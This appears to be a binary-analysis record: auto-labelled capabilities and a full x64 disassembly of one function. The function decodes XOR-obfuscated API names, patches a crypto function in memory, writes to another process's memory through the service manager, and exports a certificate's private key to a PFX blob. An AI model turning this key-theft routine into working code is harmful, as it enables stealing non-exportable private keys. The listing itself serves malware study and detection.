Function at 0x140003220
Capabilities:
Encode data using xor
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
mov r14, r8
mov dword [rbp - 0x31], 4
mov r13, rdx
lea r8, [rbp - 0x49]
mov edx, 6
lea r9, [rbp - 0x31]
mov r15, rcx
call qword [sym.imp.CRYPT32.dll_CertGetCertificateContextProperty]
test eax, eax
je 0x14000348c
lea rax, [rbp - 0x21]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x19]
lea rax, [rbp - 0x49]
mov edx, 0x10040
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptAcquireCertificatePrivateKey]
test eax, eax
je 0x14000348c
and qword [rbp - 0x39], 0
and dword [rbp - 0x69], 0
mov edx, dword [rbp - 0x49]
mov r12, qword [rbp - 0x19]
cmp edx, 0xffffffff
je 0x1400034a9
lea r8, [rbp - 0x41]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
je 0x14000348c
mov r8, qword [rbp - 0x41]
lea rax, [rbp - 0x69]
mov edx, dword [rbp - 0x49]
lea r9, [rbp - 0x39]
mov rcx, r12
mov qword [rsp + 0x20], rax
call fcn.1400036f0
test al, al
je 0x14000348c
mov ebx, 0xb
mov dword [rbp - 0x61], 0x6f786e68
mov ecx, ebx
mov dword [rbp - 0x5d], 0x79332f2e
mov dword [rbp - 0x59], 0x1d7171
mov dword [rbp - 0x55], 0x8cc6701d
call fcn.1400026b0
lea r8, [rbp - 0x61]
mov rdx, rax
sub r8, rax
lea edi, [rbx - 0xa]
mov cl, byte [r8 + rdx]
xor cl, 0x1d
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140003322
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [str.fKCNME_MZrCPCOu_W]
mov ebx, 0x10
mov ecx, ebx
mov dword [rbp - 0x51], 0x8cc67022
movdqu xmmword [rbp - 0x61], xmm0
mov rsi, rax
call fcn.1400026b0
lea r8, [rbp - 0x61]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x22
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140003369
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rbp - 0x65], 0
lea r9, [rbp - 0x65]
mov esi, 3
mov word [rbp + 0x7f], 0xc031
mov edx, esi
mov byte [rbp + 0x81], 0xc3
mov rcx, rax
mov rbx, rax
lea r8d, [rsi + 0x3d]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
lea rcx, [rbp - 0x45]
mov rdx, rbx
call fcn.14000262c
mov r8d, esi
lea rdx, [rbp + 0x7f]
mov rcx, rbx
call fcn.14000262c
mov r8d, dword [rbp - 0x65]
xor r9d, r9d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13, qword [rbp - 0x39]
lea rax, [rbp - 0x69]
mov rcx, qword [rbp - 0x41]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], r13
lea esi, [r9 + 7]
mov r8d, esi
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x14000348c
lea r9, [rbp - 0x65]
mov rcx, rbx
lea edx, [rsi - 4]
lea r8d, [rsi + 0x39]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8d, [rsi - 4]
mov rcx, rbx
lea rdx, [rbp - 0x45]
call fcn.14000262c
mov r8d, dword [rbp - 0x65]
lea edx, [rsi - 4]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, edi
mov dword [rsp + 0x20], 0xf0000008
xor r8d, r8d
lea rcx, [rbp - 0x29]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14000348c
mov r8d, dword [rbp - 0x69]
lea rax, [rbp - 9]
mov rcx, qword [rbp - 0x29]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov rdx, r13
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x14000364e
xor al, al
mov rbx, qword [rsp + 0x110]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edi, 1
xor edx, edx
mov r8d, edi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea esi, [rdi + 6]
mov dword [rbp - 0x61], 0xc3c200e
mov ecx, esi
mov dword [rbp - 0x5d], 0x452a36
mov rbx, rax
mov dword [rbp - 0x59], 0x8cc67045
call fcn.1400026b0
lea r8, [rbp - 0x61]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, 0x45
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x1400034ea
lea r8d, [r9 + 4]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea rcx, [rbp - 0x45]
mov r9d, 0x24
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov r8d, dword [rbp + 0x1b]
xor edx, edx
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [r12 + 0x10]
lea r8, [rbp - 0x65]
mov rbx, rax
mov r9d, 4
lea rax, [rbp - 0x41]
mov qword [rsp + 0x20], rax
mov rdx, qword [rcx]
mov rcx, rbx
add rdx, 0x28
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rbp - 0x65]
lea rax, [rbp - 0x41]
add edx, 0x28
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, [rbp + 0x7f]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rbp - 0x65]
lea rax, [rbp - 0x41]
or byte [rbp + 0x7f], 2
lea r8, [rbp + 0x7f]
add edx, 0x28
mov qword [rsp + 0x20], rax
mov r9, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
lea rax, [rbp - 0x69]
mov dword [rsp + 0x38], ecx
lea r8, str.CAPIPRIVATEBLOB
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], ecx
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, r12
call sub.ncrypt.dll_NCryptExportKey
mov ecx, dword [rbp - 0x69]
call fcn.1400025dc
and dword [rsp + 0x38], 0
lea r8, str.CAPIPRIVATEBLOB
mov ecx, dword [rbp - 0x69]
mov rbx, rax
lea rax, [rbp - 0x69]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, r12
mov qword [rsp + 0x20], rbx
call sub.ncrypt.dll_NCryptExportKey
xor r8d, r8d
lea rdx, str.Microsoft_Software_Key_Storage_Provider
lea rcx, [rbp - 0x39]
call sub.ncrypt.dll_NCryptOpenStorageProvider
and dword [rsp + 0x38], 0
lea r8, str.CAPIPRIVATEBLOB
mov eax, dword [rbp - 0x69]
xor r9d, r9d
mov rcx, qword [rbp - 0x39]
xor edx, edx
mov dword [rsp + 0x30], eax
lea rax, [rbp - 9]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call sub.ncrypt.dll_NCryptImportKey
jmp 0x140003652
mov r13, qword [rbp + 0x6f]
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10001
lea ecx, [r9 + 2]
call qword [sym.imp.CRYPT32.dll_CertOpenStore]
and qword [rbp - 0x11], 0
lea r9, [rbp - 0x11]
mov rcx, rax
mov r8d, edi
mov rdx, r15
mov rbx, rax
call qword [sym.imp.CRYPT32.dll_CertAddCertificateLinkToStore]
cmp dword [rbp - 0x49], 0xffffffff
mov rcx, r15
mov r9, qword [rbp - 0x29]
cmove r9, r12
xor r8d, r8d
lea edx, [r8 + 0x4f]
call qword [sym.imp.CRYPT32.dll_CertSetCertificateContextProperty]
and qword [r14 + 8], 0
xor r9d, r9d
and dword [r14], 0
mov r8, r13
mov rdx, r14
mov dword [rsp + 0x20], esi
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov ecx, dword [r14]
call fcn.1400025dc
xor r9d, r9d
mov qword [r14 + 8], rax
mov r8, r13
mov dword [rsp + 0x20], esi
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov al, dil
jmp 0x14000348e